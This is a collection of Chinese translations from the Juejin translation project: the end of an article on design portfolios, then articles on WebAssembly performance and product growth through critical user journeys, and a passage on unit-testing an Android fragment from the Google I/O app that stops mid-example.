以上选择并不是相互排斥的。虽然有些人会说“上述所有”,但有一个清晰的关注点会帮助你的作品集更有效地达到目标。但是你必须再问自己另一个问题,为了真正理解你的作品集应该关注三个领域中的哪一个。 ![](https://cdn-images-1.medium.com/max/1600/1*aNPBhln7iDMY8qRcmoyCfA.jpeg) ### 问题2:设计师的目的是什么? - **是为了记录过去的工作吗?** 这些人更新他们的作品集仅仅因为他们不想失去对过往项目的记录。并没有什么不可告人的目的:他们仅仅在建立一个过往作品的仓库以便可以在未来很容易找到。一份回忆录。 - **是用来寻找一份新工作吗?** 设计师是否在积极地寻找一份新工作?如果是这种情况,他们寻找的是哪种类型的公司?设计工作室?代理机构?商业咨询处?客户端?以产品为中心?招聘人员和管理人员会找寻什么类型的项目? - **是被看作某个特定领域的专家吗?** 有些人重新设计其作品集网站作为与以往略微不同来专业地定位自身的方式。正如那句俗语所讲:“将你希望做的作品放进你的作品集中,而非你希望别人看到的作品”。这或许适用于某些设计师的情况,取决于他们职业生涯的位置。 简单吧? 并不是。在评价作品集时,还有另一个层次需要被考虑…… ![](https://cdn-images-1.medium.com/max/1600/1*aNPBhln7iDMY8qRcmoyCfA.jpeg) ### 问题3:设计师希望如何被世界看到? 这个问题是关于设计中的重点领域的定义,以及理解设计师希望被浏览他们作品集的同行和未来雇主如何看待。尽管展现你操纵多种设计专长的能力很重要,思考作为一位设计师的价值主张可以保证优先级在正确的位置。 > 你希望人们离开你的作品集网站时的收获是什么? > “哇,这个人是个真正 ______ 的 ______!” 一些例子: - 哇,这个人是个真正**懂数码**的**平面设计师**。 - 哇,这个人是个真正**重视动效**的**界面设计师**。 - 哇,这个人是个**很懂设计和用户体验**的**前端工程师**。 - 哇,这个人是个有**多年名片设计经验**的**印刷设计师**。 - 哇,这个人是个专长**广告活动**的**创意导演**。 考虑这个 **[规律]** + **[专业化]** 的概念是使你的作品集不再普通,以及带给访问者明确收获的方法 —— 一个一旦离开你的网站后,可以指向你的简单方法。 尽管简单表达你是谁并不是那么简单。 我认识的一些设计师可以清晰地表达他们是谁以及他们希望如何被看到,但是有一些设计师需要一些帮助…… ![](https://cdn-images-1.medium.com/max/1600/1*qFjeug_95wT-hQtmZj69HQ.jpeg) [纽约时报](https://well.blogs.nytimes.com/2013/03/25/looking-for-evidence-that-therapy-works/) ![](https://cdn-images-1.medium.com/max/1600/1*aNPBhln7iDMY8qRcmoyCfA.jpeg) 一旦上述问题被解答,你就可以开始设想作品集的样子,什么内容应该被展示,以及优先级应该是什么。 然后,只有那时候,你才能判断一个人的作品集是否能够完成其目的。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/what-makes-webassembly-fast.md ================================================ > * 原文地址:[What makes WebAssembly fast?](https://hacks.mozilla.org/2017/02/what-makes-webassembly-fast/) > * 原文作者:本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[胡子大哈](https://github.com/huzidaha/) > * 校对者:[Tina92](https://github.com/Tina92)、[根号三](https://github.com/sqrthree) # 是什么让 WebAssembly 执行的这么快? **本文是关于 WebAssembly 系列的第五篇文章。如果你没有读先前文章的话,建议[从头开始](https://github.com/xitu/gold-miner/blob/master/TODO/a-cartoon-intro-to-webassembly.md)。** [上一篇文章中](https://github.com/xitu/gold-miner/blob/master/TODO/creating-and-working-with-webassembly-modules.md),我介绍了编写程序时不用在 WebAssembly 和 javascript 里二者选其一啦,也表达了我希望看到更多的开发者在自己的工程中同时使用 WebAssembly 和 JavaScript 的期许。 开发者们不必纠结于在自己的应用中到底选择 WebAssembly 还是 JavaScript。但是我们确实希望开发者们,希望能把部分 JavaScript 替换成 WebAssembly 来尝试使用 例如,正在开发 React 程序的团队可以把调节器代码(即虚拟 DOM)替换成 WebAssembly 的版本。而对于你的 web 应用的用户来说,他们就跟以前一样使用,不会发生任何变化,同时他们还能享受到 WebAssembly 所带来的好处。 而像 React 团队这样的开发者选择替换为 WebAssembly 的原因正是因为 WebAssembly 比较快。那么为什么它执行的快呢? ## 当前的 JavaScript 性能如何? 在我们了解 JavaScript 和 WebAssembly 的性能区别之前,需要先理解 JS 引擎的工作原理。 该图给出了现在一个应用程序的启动性的大致情况。 > **JS 引擎在图中各个部分所花的时间取决于页面所用的 JavaScript 代码。图表中的比例并不代表真实情况下的确切比例情况。相反,它意味着提供一个高级模型,来说明在 JS 和 WebAssembly 中相同功能的性能如何不同。 ** ![](https://huzidaha.github.io/images-store/201703/20-1.png) 图中的每一个颜色条都代表了不同的任务: * Parsing —— 表示把源代码变成解释器可以运行的代码所花的时间; * Compiling + optimizing —— 表示基线编译器和优化编译器花的时间。一些优化编译器的工作并不在主线程运行,所以也不包含在这里。 * Re-optimizing —— 当 JIT 发现优化假设错误,丢弃优化代码所花的时间。包括重优化的时间、抛弃并返回到基线编译器的时间。 * Execution —— 执行代码的时间 * Garbage collection —— 清理内存的时间 这里注意:这些任务并不是离散执行的,或者按固定顺序依次执行的。而是交叉执行,比如正在进行解析过程时,其他一些代码正在运行,而另一些正在编译。 这样的交叉执行给早期 JavaScript 带来了很大的效率提升,早期的 JavaScript 执行类似于下图: ![](https://huzidaha.github.io/images-store/201703/20-2.png) 早期时,JavaScript 只有解释器,执行起来非常慢。当引入了 JIT 后,大大提升了执行效率,缩短了执行时间。 JIT 所付出的开销是对代码的监视和编译时间。如果 JavaScript 开发者依旧像以前那样开发 JavaScript 程序,解析和编译的时间也大大缩短。这就使得开发者们更加倾向于开发更复杂的 JavaScript 应用。 同时,这也说明了执行效率上还有很大的提升空间。 ## WebAssembly 对比 下图是 WebAssembly 和典型的 web 应用的对比的初略估计 ![](https://huzidaha.github.io/images-store/201703/20-3.png) 各种浏览器处理上图中不同的过程,有着细微的差别,我用 SpiderMonkey 作为模型来讲解不同的阶段: ### 文件获取 这一步并没有显示在图表中,但是这看似简单地从服务器获取文件这个步骤,却会花费很长时间。 WebAssembly 比 JavaScript 的压缩率更高,所以文件获取也更快。即便通过压缩算法可以显著地减小 JavaScript 的包大小,但是压缩后的 WebAssembly 的二进制代码依然更小。 这就是说在服务器和客户端之间传输文件更快,尤其在网络不好的情况下。 ### 解析 一旦到达浏览器,JavaScript 源代码就被解析成了抽象语法树。 浏览器采用懒加载的方式进行,一开始只解析真正需要的部分,而对于浏览器暂时不需要的函数只保留它的桩。 解析过后 AST (抽象语法树)就变成了中间代码(叫做字节码),提供给 JS 引擎编译。 而 WebAssembly 则不需要这种转换,因为它本身就是中间代码。它要做的只是解码并且检查确认代码没有错误就可以了。 ![](https://huzidaha.github.io/images-store/201703/20-4.png) ### 编译和优化 上一篇[关于 JIT 的文章](https://zhuanlan.zhihu.com/p/25669120)中,我有介绍过,JavaScript 是在代码的执行阶段编译的。因为它是弱类型语言,当变量类型发生变化时,同样的代码会被编译成不同版本。 不同浏览器处理 WebAssembly 的编译过程也不同,有些浏览器只对 WebAssembly 做基线编译,而另一些浏览器用 JIT 来编译。 不论哪种方式,WebAssembly 都更贴近机器码。例如:类型是程序的一部分。使它更快的原因有以下几个: 1. 在编译优化代码之前,它不需要提前运行代码以知道变量都是什么类型。 2. 编译器不需要对同样的代码做不同版本的编译。 3. 很多优化在 LLVM 阶段就已经做完了,所以在编译和优化的时候没有太多的优化需要做。 ![](https://huzidaha.github.io/images-store/201703/20-5.png) ### 重优化 有些情况下,JIT 不得不抛弃已有的优化,重新去尝试执行。 当 JIT 在优化假设阶段做的假设,执行阶段发现是不正确的时候,就会发生这种情况。比如当循环中发现本次循环所使用的变量类型和上次循环的类型不一样,或者原型链中插入了新的函数,都会使 JIT 抛弃已优化的代码。 反优化过程有两部分开销。第一,需要花时间丢掉已优化的代码并且回到基线版本。第二,如果函数依旧频繁被调用,JIT 可能会再次把它发送到优化编译器,又做一次优化编译,因此存在第二次编译它的代价。 在 WebAssembly 中,类型都是确定了的,所以 JIT 不需要根据变量的类型做优化假设。也就是说 WebAssembly 没有重优化阶段。 ![](https://huzidaha.github.io/images-store/201703/20-6.png) ### 执行 自己也可以写出执行效率很高的 JavaScript 代码。你需要了解 JIT 的优化机制,例如你要知道什么样的代码编译器会对其进行特殊处理([JIT 文章](https://zhuanlan.zhihu.com/p/25669120)里面有提到过)。 然而大多数的开发者是不知道 JIT 内部的实现机制的。即使开发者知道 JIT 的内部机制,也很难写出符合 JIT 标准的代码,因为人们通常为了代码可读性更好而使用的编码模式(例如将常见任务抽象为跨类型工作的函数),恰恰不合适编译器对代码的优化。 加之 JIT 会针对不同的浏览器做不同的优化,所以对于一个浏览器优化的比较好,很可能在另外一个浏览器上执行效率就比较差。 正是因为这样,执行 WebAssembly 通常会比较快,很多 JIT 为 JavaScript 所做的优化(例如类型专门化)在 WebAssembly 并不需要。 另外,WebAssembly 就是为了编译器而设计的,这意味着它被设计用于编译器生成,而不是为了人类程序员编写它。 由于人类程序员不需要直接编程它,这样就使得 WebAssembly 专注于提供更加理想的指令(执行效率更高的指令)给机器就好了。执行效率方面,不同的代码功能有不同的效果,一般来讲执行效率会提高 10% - 800%。 ![](https://huzidaha.github.io/images-store/201703/20-7.png) ### 垃圾回收 JavaScript 中,开发者不需要手动清理内存中不用的变量。JS 引擎会自动地做这件事情,这个过程叫做垃圾回收。 可是,当你想要实现性能可控,垃圾回收可能就是个问题了。垃圾回收器会自动开始,这是不受你控制的,所以很有可能它会在一个不合适的时机启动。目前的大多数浏览器已经能给垃圾回收安排一个合理的启动时间,不过这还是会增加代码执行的开销。 目前为止,WebAssembly 不支持垃圾回收。内存操作都是手动控制的(像 C、C++ 一样)。这对于开发者来讲确实增加了些开发成本,不过这也使代码的执行效率更高。 ![](https://huzidaha.github.io/images-store/201703/20-8.png) ## 总结 WebAssembly 比 JavaScript 执行更快是因为: * 文件抓取阶段,WebAssembly 比 JavaScript 抓取文件更快。即使 JavaScript 进行了压缩,WebAssembly 文件的体积也比 JavaScript 更小; * 解析阶段,WebAssembly 的解码时间比 JavaScript 的解析时间更短; * 编译和优化阶段,WebAssembly 更具优势,因为 WebAssembly 的代码更接近机器码,并且它在服务器已经优化结束了。。 * 重优化阶段,WebAssembly 不会发生重优化现象。因为 WebAssembly 中类型和其他信息已经确定了,所以 JS 引擎不需要按照 javascript 的方式去优化。 * 执行阶段,WebAssembly 更快是因为开发人员不需要懂太多的编译器技巧,而这在 JavaScript 中是需要的。WebAssembly 代码也更适合生成机器执行效率更高的指令。 * 垃圾回收阶段,WebAssembly 垃圾回收都是手动控制的,效率比自动回收更高。 这就是为什么在大多数情况下,同一个任务 WebAssembly 比 JavaScript 表现更好的原因。 但是,还有一些情况 WebAssembly 表现的会不如预期;同时 WebAssembly 的未来也会朝着使 WebAssembly 执行效率更高的方向发展。这些我会在下一篇文章[《WebAssembly 的现在与未来》](https://github.com/xitu/gold-miner/blob/master/TODO/where-is-webassembly-now-and-whats-next.md)中介绍。 欢迎大家关注我的专栏[前端大哈](https://zhuanlan.zhihu.com/qianduandaha),定期发布高质量前端文章。 ================================================ FILE: TODO/what-to-do-if-your-product-isnt-growing.md ================================================ > * 原文地址:[What To Do If Your Product Isn’t Growing](https://medium.com/initialized-capital/what-to-do-if-your-product-isnt-growing-7eb9d158fc) > * 原文作者:[austin chang](https://medium.com/@theaustinchang) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/what-to-do-if-your-product-isnt-growing.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-to-do-if-your-product-isnt-growing.md) > * 译者:[Funtrip](https://dribbble.com/funtrip) > * 校对者:[LeviDing](https://github.com/leviding)、[laiyun90](https://github.com/laiyun90)、 # 如果你的产品停止成长,你该怎么做? ## 「关键用户轨迹」可以怎样帮助产品起步 作为 [Pinterest 的创始人和产品主管,Google 几款产品的产品经理](https://www.linkedin.com/in/austinnchang), 同时也是 [Initialized Capital](http://initialized.com/) 的发展伙伴, 我看过了太多希望努力成长起来的产品团队。 许多产品都以爆炸式的方式出现在人们视野中。它们有一些随着产品市场而持续增长。有一些则在井喷式的高速增长后死掉了。但我看到更多的时候是,许多产品都在失败的边缘徘徊。 在这些相似的经历中,我注意到有一个很常见的「套路」,那就是几乎每一个创始人在开始一段产品的道路时都会使自己完全深陷其中。当创始人推出了一个产品,他们非常想知道自己的产品没有疯狂增长的原因,然后迫切地立即去解决它们的增长问题。 在他们还没有真正明白自己在做什么,以及他们的目标用户是谁之前,他们通常会转为调整自己的增长策略,比如说他们的登录机制优化、搜索引擎优化或者推送通知优化。这可能会带来一个短期的爆发。但这最终可能会因为忽视了产品的核心问题,而导致潜在用户大量流失。 在尝试不同的增长策略之前,创业公司需要重新审视他们的用户,评估一下他们的产品所要达到的目标,并重新明确他们想要让用户达到什么样的体验。这里有一些提示,来告诉你在不同的步骤应该做些什么来解锁产品不同的成长阶段。 #### 绘制你的「关键用户轨迹」 许多创业公司在不知道如何引导的情况下开发他们的产品。如果你搜索「[ 关键用户轨迹 ](https://www.google.com/search?q=critical+user+journeys&oq=critical+user+journeys&aqs=chrome..69i57.3639j0j7&sourceid=chrome&ie=UTF-8) (译者注:原文为 Critical User Journey)」这个词语,会发现许多的用户体验框架图和用户地图。这些东西很棒,但他们也很可能带来很大的压力,让人感到畏惧。 > 初创公司应该从最简单的做起,确保他们的目标是让产品配合用户实现最佳的流程体验。 你的关键用户轨迹应该着重于一个有特定目标的单一用例,并且应该包括用户的上下文环境。打个比方,Pinterest 重点之一是帮助用户找到符合他们个人风格的创意。一开始,Pinterest 的用户通常会浏览大量不同风格的创意,然后逐渐找到与他们自己的风格相符合的款式。 然后 Pinterest 会让用户整理他们自己的型录、样板,并最终无缝地购买这些他们喜欢的款式——不管是直接在 Pinterest 上购买,还是通过与商家的深度合作链接来购买。让人很愉悦的是,这整个流程都是直接在 Pinterest 上完成的。如今,Pinterest 已经成长为了一家大公司,而且实现了许多不同的用户体验轨迹。 ![](https://cdn-images-1.medium.com/max/800/1*cRz9ZjiN1xKRYYiw2Z4MmA.png) Pinterest 会在每一步引导用户探索个人风格、过滤、整理和扩充 创业者们需要清晰地了解他们正在实现的「关键用户轨迹」。此外他们应该知道如何让他们的产品帮助用户们达成流程中的每一步。 #### 衡量你的「关键用户轨迹」 一旦创业者有了一个用户轨迹,他们就需要客观并仔细地去衡量它。所有成功的创业公司都有大量营收指标(或 [KPIs](https://en.wikipedia.org/wiki/Performance_indicator))的衡量标准,当然也有很多[工具](https://www.quora.com/What-dashboard-software-is-useful-to-track-critical-metrics-for-Startups) 可以让轨迹实现可视化。但对于刚刚起步的创业公司来说,他们很满足于像 MAU (Monthly Active Users,每月活跃用户)或总体测量指标这样虚荣的指标,这些指标让你觉得产品正在增长并忽略了实际发生的情况。 ![](https://cdn-images-1.medium.com/max/800/1*dZWyFdbMKjeNUwlp3Wwq0Q.png) source: [https://blog.kissmetrics.com/throw-away-vanity-metrics/](https://blog.kissmetrics.com/throw-away-vanity-metrics/) 相反的,早期初创公司应该从可操作的营收指标来衡量这段历程的每一步。你可以从两个指标开始:一个是顶级用户获取指标,用来衡量有多少新用户并且开始了他们的第一次操作。另一个是用户参与度下降的指标,用来衡量新用户与产品互动的频率。总而言之,这两个指标定义了产品如何将新用户逐渐转化为活跃用户的转化率。有了这些指标之后,你可以添加一些符合你产品特点的和用户轨迹的营销指标。 > 对于产品的用户轨迹来说,越具体的营销指标越能帮助初创公司做出更好的决策。 以 Google Assistant 举例来说,我们基于用户当天在某一个特定设备(例如 Pixel 手机)、某一个特定国家(比如英国)、使用某一特定功能(例如询问「我的一天」)至少成功完成一次操作的指标来衡量活跃用户。而不是使用它们头两周的数据。 #### 定义「产品杠杆」会帮助用户遵循他们的轨迹 许多初创者选择了营销指标,但却无法在项目和工作流中,以可衡量的、系统化的方式来直接让用户遵循轨迹来移动。只有当你知道如何正确使用产品杠杆来让他们遵循轨迹移动,你拥有的这些数据才是有用的。 > 产品杠杆是一个你应该关心的,基于营销指标来工作,可移动和可测量,并与你的团队项目相关联的东西。 举个例子。我与原始资本的投资公司之一进行了密切的合作,选择了「最近 7 天参与度(L7 Engagement)」这个营销指标(或者被称为过去 7 天里,用户在产品上的活跃天数)。他们选择了主要产品杠杆来驱动「每个用户都采取额外的活跃行为」以满足这个指标。他们缩小了他们正在开发的项目数量,只致力于让每个用户都产生更多的活跃行为(比如显示更多的内嵌帮助、发送产品促销信息、发送相关的后续通知,等等),并砍掉那些没有帮助的项目。在经历了几个试验周期后,他们看到他们的最近7天参与度出现了变化,然后他们将注意力被转移到更多的产品杠杆上以推动最近 7 天参与度的提升。 #### 不要添加过多的功能,那会让「关键用户轨迹」变得模糊 几乎所有创业者都会遇到的一个常见的陷阱是,通过在产品添加更多的功能来「解决」增长问题,「看看会不会变得很棒」。通过增加产品数量来扩大增长是很难衡量,并且很难扩展的。 举例说,我曾经与一个创投公司进行过合作,他们有一个很好的产品可以满足用户的需求。他们正在驱动一个很有意义的指标,但他们发现月增长停滞了。仔细观察之后,我发现他们在不同产品上彼此构建了许多复杂的引导流程。他们发布的每一个引导流程都显示了略微的整体收益,因此他们继续在彼此之间添加更多的引导流程。很快,他们无法判断是哪一个引导流程直接导致了用户流失。他们的产品变成了一个 [Rube Goldberg machine](https://en.wikipedia.org/wiki/Rube_Goldberg_machine) ,用户一个一个的流失。(译者注:Rube Goldberg machine,即鲁布·戈德堡机械,是一种被设计得过度复杂的机械组合,以迂回曲折的方法去完成一些其实是非常简单的工作,例如倒一杯茶,或打一颗蛋等等) ![](https://cdn-images-1.medium.com/max/800/1*MErO6AqctCgPH-QhcuicAg.jpeg) 鲁布·戈德堡机械——完成简单工作的复杂机械 一旦我们将产品简化为一个活跃的流程,每个流程都直接关联一个特定的产品杠杆,那它们的转化率就会上升。这主要是因为他们的产品变得更简单了。当用户遇到困难时用户可以更轻易地理解错误,而公司也可以更容易地发现错误。 > 退后一步,简化并专注于产品的增长。 #### 让你最活跃的用户为你指引道路 这看起来是再明显不过的了,但确实很多时候你的用户为你做了最关键的工作。初创公司应该关注他们最活跃的用户,并深刻理解他们的行为和用户轨迹。 试着找一群你最活跃的用户,并继续观察他们。看看他们在第一天、第一个月、以及随后的时间段内采取了哪些行动来达到他们的目的。你可以把这些行动看作是你想让新用户或临时用户在流程的每一步中所进行的关键时刻。例如,如果很多用户在第一周就进行了四次某种行为,那就试着让用户在第二周里投入更多。而下次在第一周时,就让新用户优先考虑这些行为。 根据这些行为创建一个参与度的循环流程,以鼓励用户在完成他们的操作之后,继续沿着这个流程走下去。当然,你可以测量并监控每一个步骤中有多少用户采取这些行为,以查看你产品的整体参与度状况。 > 如果你知道你最活跃的用户采取了哪些行动和步骤,你应该把这些步骤复制到其他人身上。 为你的产品定义一个「关键用户轨迹」是一个开始,它将作为定义指标的早期指南,可以明确用户在每一步需要做些什么,并帮助确定正确的产品杠杆以创造可持续。 如果你准备好了,这个框架可以扩展到其他的几个用户轨迹,既可以深化现有用户的参与,也可以扩展用例以接触到新的用户群。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2.md ================================================ * 原文地址:[What Unit Tests are Trying to Tell us About Activities Pt 2](https://www.philosophicalhacker.com/post/what-unit-tests-are-trying-to-tell-us-about-activities-pt-2/) * 原文作者:[Matt Dupree](https://twitter.com/philosohacker) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[tanglie1993](https://github.com/tanglie1993) * 校对者:[yunshuipiao](https://github.com/yunshuipiao), [zhaochuanxing](https://github.com/zhaochuanxing) # 单元测试试图告诉我们关于 Activity 的什么事情:第二部分 # `Activity` 和?`Fragment`,可能是因为一些[奇怪的历史巧合](https://juejin.im/entry/58ac5b3b570c35006bc9e52c),从 Android 推出之时起就被视为构建 Android 应用的**最佳**构件。我们把这种想法称为“android-centric”架构。 本系列博文是关于 android-centric 架构的可测试性和其它问题之间的联系的,而这些问题正导致 Android 开发者们排斥这种架构。它们同时也试图通过单元测试告诉我们:`Activity` 和 `Fragment` 不是应用的最佳构件,因为它们迫使我们写出**高耦合**和**低内聚**的代码。 在本[系列文章](https://juejin.im/entry/58bc1d51128fe1006447531e)的第二部分,对 Google I/O 示例 app 会话详情页的单元测试表明,将 `Activity` 和 `Fragment` 当作组件,会使代码难以测试。测试失败同时也揭示,目标类是低内聚的。 ### The Google I/O 会话细节例子 ### 当我在开发一个项目时,我尝试从[最让我害怕的代码](https://www.philosophicalhacker.com/post/what-should-we-unit-test/)开始测试。大型类让我害怕。Google I/O 应用的最大的类是 `SessionDetailFragment`。长的方法也让我害怕,而这个大型类中最长的方法是 `displaySessionData`。这是这个巨大的类显示的内容的截图: ![](https://www.philosophicalhacker.com/images/session-detail.png) 这是吓人的 `displaySessionData` 方法。这不是人们通常可以**容易**地理解的东西;这正是它可怕的原因。在继续之前,用惊恐的目光看它一眼,并恐惧地颤抖一下: ``` private void displaySessionData(final SessionDetailModel data) { mTitle.setText(data.getSessionTitle()); mSubtitle.setText(data.getSessionSubtitle()); try { AppIndex.AppIndexApi.start(mClient, getActionForTitle(data.getSessionTitle())); } catch (Throwable e) { // Nothing to do if indexing fails. } if (data.shouldShowHeaderImage()) { mImageLoader.loadImage(data.getPhotoUrl(), mPhotoView); } else { mPhotoViewContainer.setVisibility(View.GONE); ViewCompat.setFitsSystemWindows(mAppBar, false); // This is hacky but the collapsing toolbar requires a minimum height to enable // the status bar scrim feature; set 1px. When there is no image, this would leave // a 1px gap so we offset with a negative margin. ((ViewGroup.MarginLayoutParams) mCollapsingToolbar.getLayoutParams()).topMargin = -1; } tryExecuteDeferredUiOperations(); // Handle Keynote as a special case, where the user cannot remove it // from the schedule (it is auto added to schedule on sync) mShowFab = (AccountUtils.hasActiveAccount(getContext()) && !data.isKeynote()); mAddScheduleFab.setVisibility(mShowFab ? View.VISIBLE : View.INVISIBLE); displayTags(data); if (!data.isKeynote()) { showInScheduleDeferred(data.isInSchedule()); } if (!TextUtils.isEmpty(data.getSessionAbstract())) { UIUtils.setTextMaybeHtml(mAbstract, data.getSessionAbstract()); mAbstract.setVisibility(View.VISIBLE); } else { mAbstract.setVisibility(View.GONE); } // Build requirements section final View requirementsBlock = getActivity().findViewById(R.id.session_requirements_block); final String sessionRequirements = data.getRequirements(); if (!TextUtils.isEmpty(sessionRequirements)) { UIUtils.setTextMaybeHtml(mRequirements, sessionRequirements); requirementsBlock.setVisibility(View.VISIBLE); } else { requirementsBlock.setVisibility(View.GONE); } final ViewGroup relatedVideosBlock = (ViewGroup) getActivity().findViewById(R.id.related_videos_block); relatedVideosBlock.setVisibility(View.GONE); updateEmptyView(data); updateTimeBasedUi(data); if (data.getLiveStreamVideoWatched()) { mPhotoView.setColorFilter(getContext().getResources().getColor(R.color.played_video_tint)); mWatchVideo.setText(getString(R.string.session_replay)); } if (data.hasLiveStream()) { mWatchVideo.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String videoId = YouTubeUtils.getVideoIdFromSessionData(data.getYouTubeUrl(), data.getLiveStreamId()); YouTubeUtils.showYouTubeVideo(videoId, getActivity()); } }); } fireAnalyticsScreenView(data.getSessionTitle()); mTimeHintUpdaterRunnable = new Runnable() { @Override public void run() { if (getActivity() == null) { // Do not post a delayed message if the activity is detached. return; } updateTimeBasedUi(data); mHandler.postDelayed(mTimeHintUpdaterRunnable, SessionDetailConstants.TIME_HINT_UPDATE_INTERVAL); } }; mHandler.postDelayed(mTimeHintUpdaterRunnable, SessionDetailConstants.TIME_HINT_UPDATE_INTERVAL); if (!mHasEnterTransition) { // No enter transition so update UI manually enterTransitionFinished(); } if (BuildConfig.ENABLE_EXTENDED_SESSION_URL && data.shouldShowExtendedSessionLink()) { mExtendedSessionUrl = data.getExtendedSessionUrl(); if (!TextUtils.isEmpty(mExtendedSessionUrl)) { mExtended.setText(R.string.description_extended); mExtended.setVisibility(View.VISIBLE); mExtended.setClickable(true); mExtended.setOnClickListener(new View.OnClickListener() { @Override public void onClick(final View v) { sendUserAction(SessionDetailUserActionEnum.EXTENDED, null); } }); } } } ``` 我知道这很可怕。但振作起来。让我们把目光聚焦在这几行代码上: ``` private void displaySessionData(final SessionDetailModel data) { //... // Handle Keynote as a special case, where the user cannot remove it // from the schedule (it is auto added to schedule on sync) mShowFab = (AccountUtils.hasActiveAccount(getContext()) && !data.isKeynote()); mAddScheduleFab.setVisibility(mShowFab ? View.VISIBLE : View.INVISIBLE); //... if (!data.isKeynote()) { showInScheduleDeferred(data.isInSchedule()); } //... } ``` 很有趣。看起来我们遇到了一条业务规则: > 与会者不能把主题演讲环节从日程中删除。 看起来这条规则有一条对应的展示逻辑:如果我们在展示主题演讲环节,我们将不提供把它添加到日程中,或从日程中删除的功能。否则,我们就提供上述功能。哦……而且,如果这个环节是在与会者的日程中,把它显示出来。 这个方法名,`showInScheduleDeferred` 实际上是一个谎言。哪怕你调用了它,你也不会看见一个添加或删除非主题演讲环节的 FAB。撒谎的方法比长方法更可怕。你不会看见 FAB 的原因是另一条业务规则: > 与会者不能添加或删除已经过去的环节。 这些代码在 `updateTimeBasedUi`中: ``` private void updateTimeBasedUi(SessionDetailModel data) { //... // If the session is done, hide the FAB, and show the "Give feedback" card. if (data.isSessionReadyForFeedback()) { mShowFab = false; mAddScheduleFab.setVisibility(View.GONE); if (!data.hasFeedback() && data.isInScheduleWhenSessionFirstLoaded() && !sDismissedFeedbackCard.contains(data.getSessionId())) { showGiveFeedbackCard(data); } } } ``` 如果你在会议开始前看一看该环节的细节,你将会看见“添加到日程”的 FAB: ![“添加到日程” FAB 现在可见](https://www.philosophicalhacker.com/images/session-detail-with-fab.png) 所以,我们现在得到了一条相当复杂的业务规则: > 只有在一个环节不是主题演讲环节,并且它还没有过去时,与会者才可以在日程中添加或删除这个环节。 当然,我们希望我们的显示逻辑反映这条规则。这意味着我们只在和这条规则一致的情况下添加或删除一个环节。如果我们显示了一个 FAB,用户点击了它,但是应用却说——或许是用一个 `Dialog` 或者一个 `Toast` —— “不!你不能移除主题演讲环节!”,那就太傻了。 ### 失败的测试尝试 ### 我们看看是否能为这个展示逻辑写几个测试。记住,我[上一次](https://juejin.im/entry/58bc1d51128fe1006447531e)曾说,我的想法是:测试将会告诉我们一些关于设计的事情。如果一个类易于测试,它就设计得好。当我在写测试时,我将以我认为的最简单的方式去写。我在最简单的基础上修改得越多,我就越怀疑正在测试的类。 ``` public class SessionDetailFragmentTest { @Test public void displayDataOnlyProvidesAddRemoveSessionAffordanceIfSessionIsNotKeynote() throws Exception { // Arrange SessionDetailFragment sessionDetailFragment = new SessionDetailFragment(); final SessionDetailModel sessionDetailModel = mock(SessionDetailModel.class); when(sessionDetailModel.isKeynote()).thenReturn(true); // Act sessionDetailFragment.displayData(sessionDetailModel, SessionDetailModel.SessionDetailQueryEnum.SESSIONS); // Assert final View addScheduleButton = sessionDetailFragment.getView().findViewById(R.id.add_schedule_button); assertTrue(addScheduleButton.getVisibility() == View.INVISIBLE); } } ``` 这是我能想到的最简单的测试。现在已经有了一些问题,因为 `displaySessionData` 是一个 private 方法,所以我们必须通过public `SessionDetailFragment.displayData` 方法间接测试它。看起来不那么傻逼。不幸的是,我们运行它时,将会得到这个结果: ``` java.lang.NullPointerException at com.google.samples.apps.iosched.session.SessionDetailFragment.displaySessionData(SessionDetailFragment.java:396) at com.google.samples.apps.iosched.session.SessionDetailFragment.displayData(SessionDetailFragment.java:292) at com.google.samples.apps.iosched.session.SessionDetailFragmentTest.displayDataOnlyProvidesAddRemoveSessionAffordanceIfSessionIsNotKeynote(SessionDetailFragmentTest.java:19) ``` 这个测试抱怨说 `SessionDetailFragment.mTitleView` 是 null。唉。这个错误很烦人,因为 `SessionDetailFragment.mTitleView` **和这个测试没有关系**。看起来我必须增加一个 `onActivityCreated` 方法来确定这些 `View` 被初始化了: ``` @Test public void displayDataOnlyProvidesAddRemoveSessionAffordanceIfSessionIsNotKeynote() throws Exception { // Arrange SessionDetailFragment sessionDetailFragment = new SessionDetailFragment(); final SessionDetailModel sessionDetailModel = mock(SessionDetailModel.class); when(sessionDetailModel.isKeynote()).thenReturn(false); // Act sessionDetailFragment.onActivityCreated(null); sessionDetailFragment.displayData(sessionDetailModel, SessionDetailModel.SessionDetailQueryEnum.SESSIONS); // Assert final View addScheduleButton = sessionDetailFragment.getView().findViewById(R.id.add_schedule_button); assertTrue(addScheduleButton.getVisibility() == View.INVISIBLE); } ``` 如果我们运行这个测试,会得到另一个错误: ``` 